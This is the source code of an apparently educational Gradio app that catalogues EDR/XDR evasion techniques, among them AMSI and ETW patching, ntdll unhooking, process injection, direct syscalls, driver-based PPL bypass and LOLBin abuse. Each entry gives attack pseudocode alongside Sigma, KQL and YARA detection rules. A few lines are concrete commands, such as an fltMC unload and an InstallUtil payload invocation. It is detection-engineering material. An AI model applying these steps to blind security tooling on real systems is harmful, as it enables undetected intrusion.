""" EDR/XDR Evasion Technique Explorer Educational platform for cybersecurity professionals. Powered by AYI-NEDJIMI Consultants - https://ayinedjimi-consultants.fr """ import gradio as gr import plotly.graph_objects as go import pandas as pd import json # --------------------------------------------------------------------------- # Translations # --------------------------------------------------------------------------- TR = { "title": { "fr": "Explorateur de Techniques d\u2019\u00c9vasion EDR/XDR", "en": "EDR/XDR Evasion Technique Explorer", }, "subtitle": { "fr": "Plateforme \u00e9ducative pour professionnels de la cybers\u00e9curit\u00e9", "en": "Educational platform for cybersecurity professionals", }, "tab_browser": {"fr": "Navigateur de Techniques", "en": "Technique Browser"}, "tab_detection": {"fr": "Ing\u00e9nierie de D\u00e9tection", "en": "Detection Engineering"}, "tab_comparison": {"fr": "Comparaison EDR", "en": "EDR Comparison"}, "tab_simulation": {"fr": "Planificateur de Simulation", "en": "Attack Simulation Planner"}, "tab_resources": {"fr": "Ressources", "en": "Resources"}, "category": {"fr": "Cat\u00e9gorie", "en": "Category"}, "difficulty": {"fr": "Difficult\u00e9", "en": "Difficulty"}, "all": {"fr": "Toutes", "en": "All"}, "description": {"fr": "Description", "en": "Description"}, "mitre": {"fr": "Mapping MITRE ATT&CK", "en": "MITRE ATT&CK Mapping"}, "pseudocode": {"fr": "Pseudocode (\u00e9ducatif)", "en": "Pseudocode (educational)"}, "detection": {"fr": "M\u00e9thode de d\u00e9tection", "en": "Detection Method"}, "countermeasure": {"fr": "Contre-mesure d\u00e9fensive", "en": "Defensive Countermeasure"}, "select_technique": {"fr": "S\u00e9lectionnez une technique", "en": "Select a technique"}, "select_scenario": {"fr": "S\u00e9lectionnez un sc\u00e9nario", "en": "Select a scenario"}, "sysmon_ids": {"fr": "Sysmon Event IDs \u00e0 surveiller", "en": "Sysmon Event IDs to Monitor"}, "kql_query": {"fr": "Requ\u00eate KQL (Microsoft Defender)", "en": "KQL Query (Microsoft Defender)"}, "sigma_rule": {"fr": "R\u00e8gle Sigma", "en": "Sigma Rule"}, "yara_rule": {"fr": "R\u00e8gle YARA", "en": "YARA Rule Snippet"}, "edr_config": {"fr": "Configuration EDR recommand\u00e9e", "en": "Recommended EDR Configuration"}, "scenario_plan": {"fr": "Plan de simulation", "en": "Simulation Plan"}, "evasion_needed": {"fr": "Techniques d\u2019\u00e9vasion n\u00e9cessaires", "en": "Evasion Techniques Needed"}, "detection_gaps": {"fr": "Lacunes de d\u00e9tection \u00e0 tester", "en": "Detection Gaps to Test"}, "purple_team": {"fr": "Exercice Purple Team", "en": "Purple Team Exercise"}, "expected_alerts": {"fr": "Alertes EDR attendues", "en": "Expected EDR Alerts"}, "disclaimer": { "fr": ( "Ce contenu est strictement \u00e9ducatif et destin\u00e9 aux professionnels " "de la cybers\u00e9curit\u00e9 pour am\u00e9liorer les d\u00e9fenses." ), "en": ( "This content is strictly educational and intended for cybersecurity " "professionals to improve defenses." ), }, } def t(key, lang): return TR.get(key, {}).get(lang, key) # --------------------------------------------------------------------------- # Difficulty helpers # --------------------------------------------------------------------------- DIFF_COLORS = { "Easy": "#2ecc71", "Medium": "#f39c12", "Hard": "#e74c3c", "Expert": "#8e44ad", } DIFF_FR = {"Easy": "Facile", "Medium": "Moyen", "Hard": "Difficile", "Expert": "Expert"} def diff_label(d, lang): if lang == "fr": return DIFF_FR.get(d, d) return d def diff_badge(d, lang): color = DIFF_COLORS.get(d, "#95a5a6") label = diff_label(d, lang) return ( f'{label}' ) # --------------------------------------------------------------------------- # Technique database (25+ techniques) # --------------------------------------------------------------------------- TECHNIQUES = [ # ---- Memory Evasion ---- { "id": "amsi-bypass", "category": "Memory Evasion", "name": {"en": "AMSI Bypass", "fr": "Contournement AMSI"}, "difficulty": "Medium", "mitre": "T1562.001 - Disable or Modify Tools", "desc": { "en": "Patches the AmsiScanBuffer function in memory to prevent script scanning by the Antimalware Scan Interface.", "fr": "Modifie la fonction AmsiScanBuffer en m\u00e9moire pour emp\u00eacher l\u2019analyse des scripts par AMSI.", }, "pseudocode": ( "# Educational pseudocode only\n" "addr = GetProcAddress(amsi_dll, 'AmsiScanBuffer')\n" "VirtualProtect(addr, size, PAGE_READWRITE)\n" "WriteMemory(addr, patch_bytes) # returns AMSI_RESULT_CLEAN\n" "VirtualProtect(addr, size, old_protect)" ), "detection": { "en": "Monitor for suspicious memory writes to amsi.dll. Sysmon Event ID 7 (Image Loaded) and memory protection changes.", "fr": "Surveiller les \u00e9critures m\u00e9moire suspectes dans amsi.dll. Sysmon Event ID 7 et changements de protection m\u00e9moire.", }, "countermeasure": { "en": "Enable hardware-based AMSI protection, use ETW tracing for AMSI events, deploy integrity monitoring.", "fr": "Activer la protection AMSI mat\u00e9rielle, utiliser le tra\u00e7age ETW pour les \u00e9v\u00e9nements AMSI.", }, "sysmon": "7, 10, 13", "kql": ( 'DeviceEvents\n| where ActionType == "AmsiDetection"\n' '| where FileName endswith "amsi.dll"\n| project Timestamp, DeviceName, InitiatingProcessFileName' ), "sigma": ( "title: AMSI Bypass Attempt\nstatus: experimental\n" "logsource:\n product: windows\n category: process_creation\n" "detection:\n selection:\n CommandLine|contains:\n" ' - "AmsiScanBuffer"\n - "amsiInitFailed"\n' " condition: selection\nlevel: high" ), "yara": ( 'rule AMSI_Bypass {\n strings:\n $a = "AmsiScanBuffer" ascii wide\n' ' $b = "amsiInitFailed" ascii wide\n' ' $c = { 48 8B 05 ?? ?? ?? ?? 48 85 C0 74 }\n' " condition:\n 2 of them\n}" ), "edr_config": { "en": "Enable AMSI integration, script block logging, and memory tamper protection. Configure real-time ETW consumers.", "fr": "Activer l\u2019int\u00e9gration AMSI, la journalisation des blocs de scripts et la protection contre la falsification m\u00e9moire.", }, }, { "id": "etw-patching", "category": "Memory Evasion", "name": {"en": "ETW Patching", "fr": "Modification ETW"}, "difficulty": "Hard", "mitre": "T1562.001 - Disable or Modify Tools", "desc": { "en": "Patches ETW (Event Tracing for Windows) functions to blind security telemetry providers.", "fr": "Modifie les fonctions ETW pour aveugler les fournisseurs de t\u00e9l\u00e9m\u00e9trie de s\u00e9curit\u00e9.", }, "pseudocode": ( "# Educational pseudocode\n" "addr = GetProcAddress(ntdll, 'EtwEventWrite')\n" "VirtualProtect(addr, 1, PAGE_READWRITE)\n" "WriteMemory(addr, RET_OPCODE) # function returns immediately" ), "detection": { "en": "Monitor for patches to ntdll!EtwEventWrite. Use kernel-mode ETW consumers that are harder to disable.", "fr": "Surveiller les modifications de ntdll!EtwEventWrite. Utiliser des consommateurs ETW en mode noyau.", }, "countermeasure": { "en": "Kernel-level ETW monitoring, periodic ntdll integrity checks, protected process light (PPL) for ETW service.", "fr": "Surveillance ETW au niveau noyau, v\u00e9rifications p\u00e9riodiques de l\u2019int\u00e9grit\u00e9 de ntdll.", }, "sysmon": "7, 10", "kql": ( 'DeviceEvents\n| where ActionType == "NtdllTamper"\n' "| project Timestamp, DeviceName, InitiatingProcessFileName" ), "sigma": ( "title: ETW Patching Detected\nstatus: experimental\n" "logsource:\n product: windows\n category: process_access\n" "detection:\n selection:\n TargetImage|endswith: '\\\\ntdll.dll'\n" " GrantedAccess|contains: '0x40'\n condition: selection\nlevel: critical" ), "yara": ( 'rule ETW_Patch {\n strings:\n $a = "EtwEventWrite" ascii wide\n' " $ret = { C3 } // RET opcode\n" " condition:\n $a and #ret > 5\n}" ), "edr_config": { "en": "Enable tamper protection for ETW providers, use kernel callbacks for telemetry, implement ntdll integrity monitoring.", "fr": "Activer la protection anti-falsification pour les fournisseurs ETW, utiliser des callbacks noyau.", }, }, { "id": "ntdll-unhooking", "category": "Memory Evasion", "name": {"en": "NTDLL Unhooking", "fr": "D\u00e9crochage NTDLL"}, "difficulty": "Hard", "mitre": "T1562.001 - Disable or Modify Tools", "desc": { "en": "Replaces hooked ntdll.dll with a clean copy from disk to remove EDR inline hooks.", "fr": "Remplace ntdll.dll modifi\u00e9 par une copie propre depuis le disque pour supprimer les hooks EDR.", }, "pseudocode": ( "# Educational pseudocode\n" "clean_ntdll = ReadFile('C:\\\\Windows\\\\System32\\\\ntdll.dll')\n" "current_ntdll = GetModuleHandle('ntdll.dll')\n" "# Map .text section from clean copy over hooked version\n" "WriteProcessMemory(current_ntdll.text, clean_ntdll.text)" ), "detection": { "en": "Monitor file reads of ntdll.dll from disk, detect .text section overwrites via kernel callbacks.", "fr": "Surveiller les lectures de ntdll.dll depuis le disque, d\u00e9tecter les r\u00e9\u00e9critures de la section .text.", }, "countermeasure": { "en": "Use kernel-level hooks instead of userland, implement hook integrity verification, deploy minifilter drivers.", "fr": "Utiliser des hooks au niveau noyau, impl\u00e9menter la v\u00e9rification d\u2019int\u00e9grit\u00e9 des hooks.", }, "sysmon": "7, 10, 11", "kql": ( 'DeviceFileEvents\n| where FileName == "ntdll.dll"\n' '| where ActionType == "FileRead"\n| project Timestamp, DeviceName, InitiatingProcessFileName' ), "sigma": ( "title: NTDLL Unhooking via File Read\nstatus: experimental\n" "logsource:\n product: windows\n category: file_access\n" "detection:\n selection:\n TargetFilename|endswith: '\\\\ntdll.dll'\n" " condition: selection\nlevel: high" ), "yara": ( 'rule NTDLL_Unhooking {\n strings:\n $a = "ntdll.dll" ascii wide\n' ' $b = "NtProtectVirtualMemory" ascii\n' ' $c = ".text" ascii\n' " condition:\n all of them\n}" ), "edr_config": { "en": "Deploy kernel-mode hooks, enable minifilter for ntdll.dll access monitoring, use PPL for EDR agent.", "fr": "D\u00e9ployer des hooks en mode noyau, activer le minifiltre pour surveiller les acc\u00e8s \u00e0 ntdll.dll.", }, }, { "id": "shellcode-injection", "category": "Memory Evasion", "name": {"en": "Shellcode Injection", "fr": "Injection de Shellcode"}, "difficulty": "Medium", "mitre": "T1055.001 - Process Injection: DLL Injection", "desc": { "en": "Allocates memory in a remote process and injects shellcode for execution.", "fr": "Alloue de la m\u00e9moire dans un processus distant et injecte du shellcode pour ex\u00e9cution.", }, "pseudocode": ( "# Educational pseudocode\n" "hProcess = OpenProcess(target_pid)\n" "addr = VirtualAllocEx(hProcess, MEM_COMMIT, PAGE_RWX)\n" "WriteProcessMemory(hProcess, addr, shellcode)\n" "CreateRemoteThread(hProcess, addr)" ), "detection": { "en": "Monitor VirtualAllocEx with RWX permissions, cross-process WriteProcessMemory, and CreateRemoteThread calls.", "fr": "Surveiller VirtualAllocEx avec permissions RWX, WriteProcessMemory inter-processus et CreateRemoteThread.", }, "countermeasure": { "en": "Enable CIG (Code Integrity Guard), enforce W^X policy, monitor cross-process memory operations.", "fr": "Activer CIG, appliquer la politique W^X, surveiller les op\u00e9rations m\u00e9moire inter-processus.", }, "sysmon": "1, 8, 10", "kql": ( "DeviceEvents\n| where ActionType in ('CreateRemoteThreadApiCall', 'QueueUserApcRemoteApiCall')\n" "| project Timestamp, DeviceName, InitiatingProcessFileName, FileName" ), "sigma": ( "title: Remote Shellcode Injection\nstatus: experimental\n" "logsource:\n product: windows\n category: create_remote_thread\n" "detection:\n selection:\n EventID: 8\n" " filter:\n SourceImage|endswith: '\\\\svchost.exe'\n" " condition: selection and not filter\nlevel: high" ), "yara": ( "rule Shellcode_Injection {\n strings:\n" ' $api1 = "VirtualAllocEx" ascii\n $api2 = "WriteProcessMemory" ascii\n' ' $api3 = "CreateRemoteThread" ascii\n' " condition:\n all of them\n}" ), "edr_config": { "en": "Enable memory injection detection, configure CIG policies, implement stack call verification.", "fr": "Activer la d\u00e9tection d\u2019injection m\u00e9moire, configurer les politiques CIG.", }, }, { "id": "module-stomping", "category": "Memory Evasion", "name": {"en": "Module Stomping", "fr": "\u00c9crasement de Module"}, "difficulty": "Expert", "mitre": "T1055.001 - Process Injection: DLL Injection", "desc": { "en": "Loads a legitimate DLL then overwrites its .text section with malicious code to hide in a signed module.", "fr": "Charge une DLL l\u00e9gitime puis \u00e9crase sa section .text avec du code malveillant pour se cacher dans un module sign\u00e9.", }, "pseudocode": ( "# Educational pseudocode\n" "hModule = LoadLibrary('legitimate.dll')\n" "text_addr = GetSectionAddress(hModule, '.text')\n" "VirtualProtect(text_addr, size, PAGE_RWX)\n" "memcpy(text_addr, malicious_code, size)" ), "detection": { "en": "Compare in-memory module against on-disk version. Monitor for RWX permission changes on signed DLLs.", "fr": "Comparer le module en m\u00e9moire avec la version sur disque. Surveiller les changements RWX sur les DLL sign\u00e9es.", }, "countermeasure": { "en": "Memory integrity scanning, signed code enforcement, periodic module hash verification.", "fr": "Analyse d\u2019int\u00e9grit\u00e9 m\u00e9moire, application de code sign\u00e9, v\u00e9rification p\u00e9riodique des hachages de modules.", }, "sysmon": "7, 10, 25", "kql": ( "DeviceImageLoadEvents\n| where FileName endswith '.dll'\n" "| where InitiatingProcessFileName !in ('svchost.exe','explorer.exe')\n" "| project Timestamp, DeviceName, FileName, InitiatingProcessFileName" ), "sigma": ( "title: Module Stomping Detection\nstatus: experimental\n" "logsource:\n product: windows\n category: image_load\n" "detection:\n selection:\n ImageLoaded|endswith: '.dll'\n" " filter:\n Image|endswith:\n - '\\\\svchost.exe'\n - '\\\\explorer.exe'\n" " condition: selection and not filter\nlevel: medium" ), "yara": ( "rule Module_Stomping {\n strings:\n" ' $s1 = ".text" ascii\n $s2 = "VirtualProtect" ascii\n' ' $s3 = "LoadLibrary" ascii\n' " condition:\n all of them and filesize < 500KB\n}" ), "edr_config": { "en": "Enable in-memory scanning, enforce code signing for loaded modules, implement periodic integrity checks.", "fr": "Activer l\u2019analyse en m\u00e9moire, appliquer la signature de code pour les modules charg\u00e9s.", }, }, # ---- Direct Syscalls ---- { "id": "syswhispers", "category": "Direct Syscalls", "name": {"en": "SysWhispers", "fr": "SysWhispers"}, "difficulty": "Hard", "mitre": "T1106 - Native API", "desc": { "en": "Generates syscall stubs to call NT functions directly, bypassing userland API hooks placed by EDR.", "fr": "G\u00e9n\u00e8re des stubs de syscall pour appeler directement les fonctions NT, contournant les hooks API de l\u2019EDR.", }, "pseudocode": ( "# Educational pseudocode\n" "# SysWhispers generates assembly stubs\n" "mov r10, rcx\n" "mov eax, SYSCALL_NUMBER # e.g. NtAllocateVirtualMemory\n" "syscall\n" "ret" ), "detection": { "en": "Monitor for syscall instructions from non-ntdll memory regions. Kernel-level telemetry via ETW Threat Intelligence.", "fr": "Surveiller les instructions syscall depuis des r\u00e9gions m\u00e9moire hors ntdll. T\u00e9l\u00e9m\u00e9trie noyau via ETW Threat Intelligence.", }, "countermeasure": { "en": "Use kernel-mode callbacks, ETW TI provider, stack trace validation to detect non-standard syscall origins.", "fr": "Utiliser des callbacks en mode noyau, le fournisseur ETW TI, la validation de pile d\u2019appels.", }, "sysmon": "10, 25", "kql": ( "DeviceEvents\n| where ActionType == 'NtAllocateVirtualMemory'\n" "| where InitiatingProcessFileName !in ('svchost.exe')\n" "| project Timestamp, DeviceName, ActionType" ), "sigma": ( "title: Direct Syscall Detection\nstatus: experimental\n" "logsource:\n product: windows\n category: process_access\n" "detection:\n selection:\n CallTrace|contains: 'UNKNOWN'\n" " condition: selection\nlevel: critical" ), "yara": ( "rule SysWhispers {\n strings:\n" " $stub = { 4C 8B D1 B8 ?? ?? 00 00 0F 05 C3 }\n" ' $str = "NtAllocateVirtualMemory" ascii\n' " condition:\n $stub or $str\n}" ), "edr_config": { "en": "Enable ETW Threat Intelligence provider, implement kernel-level syscall monitoring, use stack walk verification.", "fr": "Activer le fournisseur ETW Threat Intelligence, impl\u00e9menter la surveillance des syscalls au niveau noyau.", }, }, { "id": "hellsgate", "category": "Direct Syscalls", "name": {"en": "HellsGate", "fr": "HellsGate"}, "difficulty": "Expert", "mitre": "T1106 - Native API", "desc": { "en": "Dynamically resolves syscall numbers at runtime by parsing ntdll.dll in memory, avoiding hardcoded values.", "fr": "R\u00e9sout dynamiquement les num\u00e9ros de syscall en analysant ntdll.dll en m\u00e9moire.", }, "pseudocode": ( "# Educational pseudocode\n" "ntdll_base = GetModuleHandle('ntdll.dll')\n" "for each export in ntdll_base.exports:\n" " if export starts with 'Zw':\n" " syscall_num = read_bytes(export + 4, 4)\n" " store(function_name, syscall_num)" ), "detection": { "en": "Detect ntdll export table enumeration from unexpected processes. Monitor for syscall instruction outside ntdll.", "fr": "D\u00e9tecter l\u2019\u00e9num\u00e9ration de la table d\u2019exports ntdll depuis des processus inattendus.", }, "countermeasure": { "en": "Kernel-level ETW, call stack analysis, behavioral detection of syscall resolution patterns.", "fr": "ETW au niveau noyau, analyse de pile d\u2019appels, d\u00e9tection comportementale.", }, "sysmon": "10, 7", "kql": ( "DeviceEvents\n| where ActionType == 'NtApiCall'\n" "| where AdditionalFields contains 'non-ntdll'\n| project Timestamp, DeviceName" ), "sigma": ( "title: HellsGate Syscall Resolution\nstatus: experimental\n" "logsource:\n product: windows\n category: process_access\n" "detection:\n selection:\n CallTrace|contains: 'UNKNOWN'\n GrantedAccess: '0x1F0FFF'\n" " condition: selection\nlevel: critical" ), "yara": ( "rule HellsGate {\n strings:\n" " $pattern = { 4C 8B D1 B8 ?? ?? 00 00 }\n" ' $zw = "Zw" ascii\n' " condition:\n $pattern and #zw > 10\n}" ), "edr_config": { "en": "Deploy ETW Threat Intelligence, kernel callbacks for process/thread operations, tamper protection.", "fr": "D\u00e9ployer ETW Threat Intelligence, callbacks noyau pour les op\u00e9rations de processus/threads.", }, }, { "id": "halosgate", "category": "Direct Syscalls", "name": {"en": "HalosGate", "fr": "HalosGate"}, "difficulty": "Expert", "mitre": "T1106 - Native API", "desc": { "en": "Extension of HellsGate that detects and bypasses EDR hooks by checking neighboring syscall stubs.", "fr": "Extension de HellsGate qui d\u00e9tecte et contourne les hooks EDR en v\u00e9rifiant les stubs voisins.", }, "pseudocode": ( "# Educational pseudocode\n" "for func in ntdll_exports:\n" " if is_hooked(func): # JMP instruction detected\n" " neighbor = get_neighbor_syscall(func)\n" " syscall_num = neighbor.number +/- offset\n" " # Use calculated syscall number" ), "detection": { "en": "Same as HellsGate plus monitoring for sequential ntdll export enumeration patterns.", "fr": "Identique \u00e0 HellsGate plus surveillance des sch\u00e9mas d\u2019\u00e9num\u00e9ration s\u00e9quentielle des exports ntdll.", }, "countermeasure": { "en": "Hardware breakpoints on syscall instruction, kernel telemetry, call stack validation.", "fr": "Points d\u2019arr\u00eat mat\u00e9riels sur l\u2019instruction syscall, t\u00e9l\u00e9m\u00e9trie noyau, validation de pile d\u2019appels.", }, "sysmon": "10, 7", "kql": ( "DeviceEvents\n| where ActionType in ('NtApiCall','ProcessAccess')\n" "| where AdditionalFields contains 'hook_bypass'\n| project Timestamp, DeviceName" ), "sigma": ( "title: HalosGate Hook Bypass\nstatus: experimental\n" "logsource:\n product: windows\n category: process_access\n" "detection:\n selection:\n CallTrace|contains: 'UNKNOWN'\n" " condition: selection\nlevel: critical" ), "yara": ( "rule HalosGate {\n strings:\n" " $hook_check = { E9 ?? ?? ?? ?? } // JMP hook signature\n" " $syscall = { 0F 05 C3 }\n" " condition:\n $hook_check and $syscall\n}" ), "edr_config": { "en": "Layer kernel and userland monitoring, deploy hardware breakpoints, use PPL for critical processes.", "fr": "Superposer la surveillance noyau et utilisateur, d\u00e9ployer des points d\u2019arr\u00eat mat\u00e9riels.", }, }, { "id": "indirect-syscalls", "category": "Direct Syscalls", "name": {"en": "Indirect Syscalls", "fr": "Syscalls Indirects"}, "difficulty": "Expert", "mitre": "T1106 - Native API", "desc": { "en": "Executes the syscall instruction from within ntdll memory to avoid detection of syscalls from unusual regions.", "fr": "Ex\u00e9cute l\u2019instruction syscall depuis la m\u00e9moire ntdll pour \u00e9viter la d\u00e9tection de syscalls depuis des r\u00e9gions inhabituelles.", }, "pseudocode": ( "# Educational pseudocode\n" "syscall_addr = find_syscall_instruction_in_ntdll()\n" "set_registers(args) # prepare arguments\n" "jmp syscall_addr # jump into ntdll for the syscall" ), "detection": { "en": "Stack frame analysis showing preparation outside ntdll before jumping into ntdll for syscall execution.", "fr": "Analyse de la pile montrant une pr\u00e9paration hors ntdll avant un saut dans ntdll pour le syscall.", }, "countermeasure": { "en": "Full stack walk analysis, return address validation, ETW Threat Intelligence kernel provider.", "fr": "Analyse compl\u00e8te de la pile d\u2019appels, validation des adresses de retour, fournisseur ETW TI noyau.", }, "sysmon": "10", "kql": ( "DeviceEvents\n| where ActionType == 'SyscallFromUnexpectedRegion'\n" "| project Timestamp, DeviceName, InitiatingProcessFileName" ), "sigma": ( "title: Indirect Syscall Detection\nstatus: experimental\n" "logsource:\n product: windows\n category: process_access\n" "detection:\n selection:\n CallTrace|re: '.*ntdll\\.dll\\+0x.*UNKNOWN.*'\n" " condition: selection\nlevel: critical" ), "yara": ( "rule Indirect_Syscalls {\n strings:\n" " $jmp_ntdll = { FF 25 ?? ?? ?? ?? } // JMP to ntdll\n" ' $ntdll = "ntdll" ascii wide\n' " condition:\n all of them\n}" ), "edr_config": { "en": "ETW TI + kernel callbacks + full call stack analysis with return address validation.", "fr": "ETW TI + callbacks noyau + analyse compl\u00e8te de la pile avec validation des adresses de retour.", }, }, # ---- EDR Agent Tampering ---- { "id": "ppl-bypass", "category": "EDR Agent Tampering", "name": {"en": "PPL Bypass", "fr": "Contournement PPL"}, "difficulty": "Expert", "mitre": "T1562.001 - Disable or Modify Tools", "desc": { "en": "Exploits vulnerabilities to bypass Protected Process Light, allowing access to protected EDR processes.", "fr": "Exploite des vuln\u00e9rabilit\u00e9s pour contourner Protected Process Light et acc\u00e9der aux processus EDR prot\u00e9g\u00e9s.", }, "pseudocode": ( "# Educational pseudocode\n" "# Load vulnerable signed driver\n" "driver = LoadDriver('vulnerable_signed.sys')\n" "# Use driver to modify EPROCESS.Protection\n" "eprocess = GetEPROCESS(target_pid)\n" "WriteKernelMemory(eprocess.Protection, 0x00)" ), "detection": { "en": "Monitor driver loading events, detect EPROCESS modification, watch for known vulnerable drivers.", "fr": "Surveiller les chargements de pilotes, d\u00e9tecter la modification EPROCESS, identifier les pilotes vuln\u00e9rables.", }, "countermeasure": { "en": "HVCI enforcement, vulnerable driver blocklist, Secure Boot, kernel patch protection.", "fr": "Application HVCI, liste de blocage des pilotes vuln\u00e9rables, Secure Boot, protection des correctifs noyau.", }, "sysmon": "6, 13, 10", "kql": ( "DeviceEvents\n| where ActionType == 'DriverLoad'\n" "| where FileName in (known_vulnerable_drivers)\n| project Timestamp, DeviceName, FileName" ), "sigma": ( "title: Vulnerable Driver Loading for PPL Bypass\nstatus: experimental\n" "logsource:\n product: windows\n category: driver_load\n" "detection:\n selection:\n Hashes|contains:\n" " - 'known_vuln_driver_hash_1'\n - 'known_vuln_driver_hash_2'\n" " condition: selection\nlevel: critical" ), "yara": ( "rule PPL_Bypass_Tool {\n strings:\n" ' $a = "EPROCESS" ascii\n $b = "Protection" ascii\n' ' $c = "NtLoadDriver" ascii\n' " condition:\n all of them\n}" ), "edr_config": { "en": "Enable HVCI, configure vulnerable driver blocklist, enforce Secure Boot, deploy driver signing enforcement.", "fr": "Activer HVCI, configurer la liste de blocage des pilotes vuln\u00e9rables, appliquer Secure Boot.", }, }, { "id": "minifilter-tampering", "category": "EDR Agent Tampering", "name": {"en": "Minifilter Tampering", "fr": "Falsification de Minifiltre"}, "difficulty": "Expert", "mitre": "T1562.001 - Disable or Modify Tools", "desc": { "en": "Unloads or detaches EDR minifilter drivers to blind file system monitoring.", "fr": "D\u00e9charge ou d\u00e9tache les pilotes minifiltre EDR pour aveugler la surveillance du syst\u00e8me de fichiers.", }, "pseudocode": ( "# Educational pseudocode\n" "# Using fltMC.exe (requires admin)\n" "fltMC unload EDRMiniFilter\n" "# Or via direct kernel manipulation\n" "filter = FindMinifilter('EDRFilter')\n" "FltUnregisterFilter(filter)" ), "detection": { "en": "Monitor fltMC.exe usage, detect minifilter unload events, watch for EDR service disruption.", "fr": "Surveiller l\u2019utilisation de fltMC.exe, d\u00e9tecter les d\u00e9chargements de minifiltres.", }, "countermeasure": { "en": "Tamper protection for minifilters, kernel callback guards, elevation monitoring.", "fr": "Protection anti-falsification des minifiltres, gardes de callbacks noyau, surveillance des \u00e9l\u00e9vations.", }, "sysmon": "1, 6, 13", "kql": ( 'DeviceProcessEvents\n| where FileName == "fltMC.exe"\n' '| where ProcessCommandLine contains "unload"\n| project Timestamp, DeviceName' ), "sigma": ( "title: Minifilter Unload Attempt\nstatus: experimental\n" "logsource:\n product: windows\n category: process_creation\n" "detection:\n selection:\n Image|endswith: '\\\\fltMC.exe'\n" " CommandLine|contains: 'unload'\n condition: selection\nlevel: critical" ), "yara": ( "rule Minifilter_Tamper {\n strings:\n" ' $a = "FltUnregisterFilter" ascii\n $b = "fltMC" ascii wide\n' ' $c = "unload" ascii wide\n' " condition:\n 2 of them\n}" ), "edr_config": { "en": "Enable kernel tamper protection, restrict fltMC access, implement self-healing minifilter registration.", "fr": "Activer la protection noyau anti-falsification, restreindre fltMC, impl\u00e9menter l\u2019auto-r\u00e9paration des minifiltres.", }, }, { "id": "kernel-callback-removal", "category": "EDR Agent Tampering", "name": {"en": "Kernel Callback Removal", "fr": "Suppression de Callbacks Noyau"}, "difficulty": "Expert", "mitre": "T1562.001 - Disable or Modify Tools", "desc": { "en": "Removes kernel notification callbacks registered by EDR to stop process/thread/image load monitoring.", "fr": "Supprime les callbacks de notification noyau enregistr\u00e9s par l\u2019EDR pour arr\u00eater la surveillance.", }, "pseudocode": ( "# Educational pseudocode\n" "callbacks = EnumKernelCallbacks(PsProcessNotify)\n" "for cb in callbacks:\n" " if cb.module == 'EDRDriver.sys':\n" " PsSetCreateProcessNotifyRoutine(cb.addr, REMOVE)" ), "detection": { "en": "Monitor callback array integrity, detect callback removal events, EDR self-health monitoring.", "fr": "Surveiller l\u2019int\u00e9grit\u00e9 des tableaux de callbacks, d\u00e9tecter les suppressions, auto-surveillance EDR.", }, "countermeasure": { "en": "Periodic callback integrity verification, kernel object protection, VBS-based protection.", "fr": "V\u00e9rification p\u00e9riodique de l\u2019int\u00e9grit\u00e9 des callbacks, protection des objets noyau, protection VBS.", }, "sysmon": "6, 13", "kql": ( "DeviceEvents\n| where ActionType == 'KernelCallbackModification'\n" "| project Timestamp, DeviceName, AdditionalFields" ), "sigma": ( "title: Kernel Callback Manipulation\nstatus: experimental\n" "logsource:\n product: windows\n category: driver_load\n" "detection:\n selection:\n EventID: 6\n" " filter:\n Signed: 'true'\n" " condition: selection and not filter\nlevel: critical" ), "yara": ( "rule Kernel_Callback_Removal {\n strings:\n" ' $a = "PsSetCreateProcessNotifyRoutine" ascii\n' ' $b = "ObUnRegisterCallbacks" ascii\n' ' $c = "CmUnRegisterCallback" ascii\n' " condition:\n 2 of them\n}" ), "edr_config": { "en": "VBS-based kernel protection, periodic self-integrity checks, heartbeat monitoring for callbacks.", "fr": "Protection noyau bas\u00e9e sur VBS, v\u00e9rifications p\u00e9riodiques, surveillance de la pr\u00e9sence des callbacks.", }, }, # ---- Living off the Land ---- { "id": "msbuild", "category": "Living off the Land", "name": {"en": "MSBuild Execution", "fr": "Ex\u00e9cution MSBuild"}, "difficulty": "Easy", "mitre": "T1127.001 - Trusted Developer Utilities: MSBuild", "desc": { "en": "Uses MSBuild.exe to compile and execute inline C# code from XML project files, bypassing application whitelisting.", "fr": "Utilise MSBuild.exe pour compiler et ex\u00e9cuter du code C# depuis des fichiers XML, contournant le whitelisting.", }, "pseudocode": ( "# Educational pseudocode\n" '# payload.xml contains inline C# Task\n' "msbuild.exe payload.xml\n" "# The XML contains: with embedded C# code\n" "# MSBuild compiles and executes at runtime" ), "detection": { "en": "Monitor MSBuild.exe spawning without Visual Studio parent. Check for XML files with inline C# Tasks.", "fr": "Surveiller MSBuild.exe sans processus parent Visual Studio. V\u00e9rifier les fichiers XML avec des T\u00e2ches C#.", }, "countermeasure": { "en": "WDAC/AppLocker policies for MSBuild, restrict to dev machines, log all MSBuild executions.", "fr": "Politiques WDAC/AppLocker pour MSBuild, restreindre aux machines de dev, journaliser les ex\u00e9cutions.", }, "sysmon": "1, 11", "kql": ( 'DeviceProcessEvents\n| where FileName == "MSBuild.exe"\n' '| where InitiatingProcessFileName != "devenv.exe"\n| project Timestamp, DeviceName, ProcessCommandLine' ), "sigma": ( "title: Suspicious MSBuild Execution\nstatus: stable\n" "logsource:\n product: windows\n category: process_creation\n" "detection:\n selection:\n Image|endswith: '\\\\MSBuild.exe'\n" " filter:\n ParentImage|endswith: '\\\\devenv.exe'\n" " condition: selection and not filter\nlevel: high" ), "yara": ( 'rule MSBuild_Payload {\n strings:\n $a = "" ascii\n' ' $b = "UsingTask" ascii\n $c = "CodeTaskFactory" ascii\n' " condition:\n all of them\n}" ), "edr_config": { "en": "Block MSBuild on non-developer endpoints, enable script block logging, configure application control.", "fr": "Bloquer MSBuild sur les postes non-d\u00e9veloppeurs, activer la journalisation des scripts.", }, }, { "id": "installutil", "category": "Living off the Land", "name": {"en": "InstallUtil Bypass", "fr": "Contournement InstallUtil"}, "difficulty": "Easy", "mitre": "T1218.004 - System Binary Proxy Execution: InstallUtil", "desc": { "en": "Abuses InstallUtil.exe to execute .NET assemblies with Uninstall method containing malicious code.", "fr": "Abuse InstallUtil.exe pour ex\u00e9cuter des assemblies .NET avec une m\u00e9thode Uninstall contenant du code malveillant.", }, "pseudocode": ( "# Educational pseudocode\n" "# Compile .NET assembly with [RunInstaller(true)] class\n" "# Override Uninstall() method with payload\n" "InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll" ), "detection": { "en": "Monitor InstallUtil.exe with /U flag, unexpected .NET assembly loading, network connections from InstallUtil.", "fr": "Surveiller InstallUtil.exe avec /U, chargements d\u2019assemblies .NET inattendus, connexions r\u00e9seau depuis InstallUtil.", }, "countermeasure": { "en": "Application control policies, restrict InstallUtil to admin accounts, monitor command line arguments.", "fr": "Politiques de contr\u00f4le d\u2019applications, restreindre InstallUtil, surveiller les arguments de ligne de 